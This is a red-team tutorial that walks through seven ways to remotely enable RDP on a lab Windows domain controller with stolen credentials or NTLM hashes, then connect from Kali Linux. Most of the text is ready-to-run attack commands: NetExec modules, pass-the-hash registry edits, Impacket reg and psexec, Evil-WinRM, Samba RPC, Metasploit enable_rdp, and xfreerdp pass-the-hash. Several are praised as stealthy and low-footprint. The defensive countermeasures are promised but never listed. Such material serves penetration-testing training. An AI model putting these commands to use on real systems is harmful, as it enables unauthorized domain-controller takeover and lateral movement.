This article presents a hands-on walkthrough demonstrating multiple real-world techniques to remotely enable RDP on a Windows Server 2019 Domain Controller (DC.ignite.local, 192.168.1.11) and subsequently connect to it using various RDP clients available on Kali Linux. Each technique leverages different tools and access vectors, illustrating the depth of an attacker’s arsenal.
Remote Desktop Protocol (RDP) is a powerful Windows service that enables graphical remote access to a machine over a network. During red team engagements and penetration tests, attackers who gain initial access to credentials or hashes frequently need to escalate their operational footprint by enabling and connecting via RDP — even when the service is initially disabled on the target.
The engagement begins with a targeted Nmap scan to determine the current state of port 3389 (the default RDP port) on the domain controller.
nmap -p3389 192.168.1.11

This confirms that Remote Desktop Services are disabled on the target Domain Controller. We will now proceed to enable RDP using several different remote techniques.
The attacker uses NetExec, a modern network credential validation and exploitation framework, to enable RDP on the target using a dedicated module over SMB with valid credentials.
nxc smb 192.168.1.11 -u administrator -p Ignite@987 -M rdp -o ACTION=enable

NetExec authenticates as the domain administrator against SMB (port 445) on the DC, then leverages the built-in RDP module with ACTION=enable. NetExec then enables RDP via WMI (ncacn_ip_tcp) and confirms the RDP port is now set to 3389.
A follow-up Nmap scan confirms that port 3389/tcp is now open on DC.ignite.local. The ms-wbt-server service is actively listening, validating that Technique 1 successfully activated Remote Desktop Services on the target.

In scenarios where the plaintext password is unavailable but the NTLM hash is known, the attacker leverages Pass-the-Hash (PtH) authentication using NetExec’s -x flag to execute a registry command remotely via wmiexec with the help of following command:
nxc smb 192.168.1.11 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38 -x 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

NetExec authenticates successfully (Null Auth: True, SMBv1: None) and executes the registry command via wmiexec. The registry key fDenyTSConnections under the Terminal Server path sets to 0, which directly enables Remote Desktop. The operation completes successfully.
Impacket’s reg utility allows an attacker to directly interact with the Windows registry of a remote target over SMB, providing a clean and reliable method to modify registry keys. So, to modify the the said keys we will use the following command:
impacket-reg ignite.local/administrator:Ignite@[email protected] add -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" -v fDenyTSConnections -vt REG_DWORD -vd 0

Impacket-reg authenticates as administrator and directly writes a DWORD value of 0 to the fDenyTSConnections key in the registry. The tool confirms the operation by displaying the key path, value type (REG_DWORD), and the new data (0). This technique requires no interactive shell and works entirely over the SMB protocol.
Impacket’s psexec module uploads a service binary to the target, creates and starts a Windows service, and delivers a fully interactive SYSTEM-level shell — from which the attacker directly executes the following registry command:
impacket-psexec ignite.local/administrator:Ignite@[email protected]
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

This technique is extremely powerful because it operates as NT AUTHORITY\SYSTEM, bypassing all user-level restrictions.
Evil-WinRM is a Ruby-based offensive WinRM shell designed for penetration testing. It connects via Windows Remote Management (WinRM) on port 5985 and provides a full PowerShell session on the target with the help of the following command:
evil-winrm -i 192.168.1.11 -u administrator -p Ignite@987
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0

The PowerShell cmdlet silently applies the change. Evil-WinRM provides a persistent, interactive shell that supports file transfer, script loading, and bypass capabilities, making it a favored post-exploitation tool in Active Directory environments.
The native Samba net utility, available on Kali Linux, provides RPC-based registry manipulation without requiring any third-party tools beyond the standard Samba suite. We will use this utility as desired with the help of following command:
net rpc registry setvalue 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' 'fDenyTSConnections' dword '0' -U ignite.local/administrator%'Ignite@987' -S 192.168.1.11

This single command authenticates via RPC using domain credentials and directly sets the fDenyTSConnections DWORD value to 0. It leverages the Samba toolchain’s RPC registry interface — a stealthy and lightweight approach that does not upload binaries or create services, leaving a minimal footprint on the target system.
Metasploit Framework’s post-exploitation module provides an automated, menu-driven approach to enabling RDP from within an active Meterpreter session. And the said module is:
use post/windows/manage/enable_rdp set session 1 exploit

The module detects that RDP is disabled and activates it automatically. It configures Terminal Services to auto-start, opens port 3389 in the local firewall, and logs a cleanup resource file for post-engagement restoration. This technique is ideal for operators working inside a Metasploit workflow who already hold a Meterpreter session on the target.
With RDP successfully enabled through any of the above techniques, the attacker now connects to the Domain Controller’s desktop. Kali Linux supports several RDP clients, each with distinct capabilities.
We will use the following command to connect to the remote desktop:
rdesktop 192.168.1.11

rdesktop is a lightweight, open-source RDP client available on most Linux systems. The connection succeeds with a certificate warning regarding NLA (Network Level Authentication) — rdesktop bypasses this and renders the full Windows Server 2019 Standard Evaluation desktop.
xfreerdp3 is the most feature-rich RDP client on Kali Linux, supporting advanced options such as Pass-the-Hash (/pth), clipboard sharing, drive redirection, and compression. Therefore, with the help of following command we will connect to remote desktop:
xfreerdp3 /compression +auto-reconnect /u:administrator /pth:32196B56FFE6F45E294117B91A83BF38 /v:192.168.1.11 +clipboard

Using the NTLM hash directly eliminates the need for a plaintext password. The connection succeeds and opens the Windows Server Manager dashboard, confirming Domain Controller access with AD CS and AD DS roles visible. This technique is particularly powerful because it works even when the plaintext password is unknown.
Remmina is a full-featured graphical remote desktop client that supports RDP, VNC, SSH, and other protocols through a polished GUI interface. After launching Remmina and configuring the target IP (192.168.1.11) with domain credentials, the client establishes a clean RDP session to the DC, displaying the Windows Server Manager dashboard. Remmina is ideal for operators who require a stable, user-friendly GUI for prolonged access or when performing detailed administrative tasks on the target.

The seven RDP enablement techniques exploit credential theft, weak protocols (SMB/WMI/WinRM/RPC), and poor network controls. Implement these targeted countermeasures for defense-in-depth:
This article demonstrates that an attacker who possesses valid credentials or password hashes can, in fact, enable RDP on a Windows Server Domain Controller through at least seven distinct techniques. These include NetExec modules, Impacket utilities, Evil-WinRM PowerShell, native Samba RPC, and Metasploit post-exploitation modules.
Once RDP is active, three different Kali Linux clients — rdesktop, xfreerdp3, and Remmina — successfully deliver interactive graphical sessions, including via Pass-the-Hash without ever using a plaintext password. Organizations must harden their environments by enforcing network segmentation, credential rotation, LAPS deployment, and RDP gateway policies to detect and prevent such access.
Ultimately, for red teams and penetration testers, this workflow clearly highlights the importance of mastering multiple tools and techniques; in particular, it ensures operational continuity even when a single approach fails or, alternatively, raises alerts.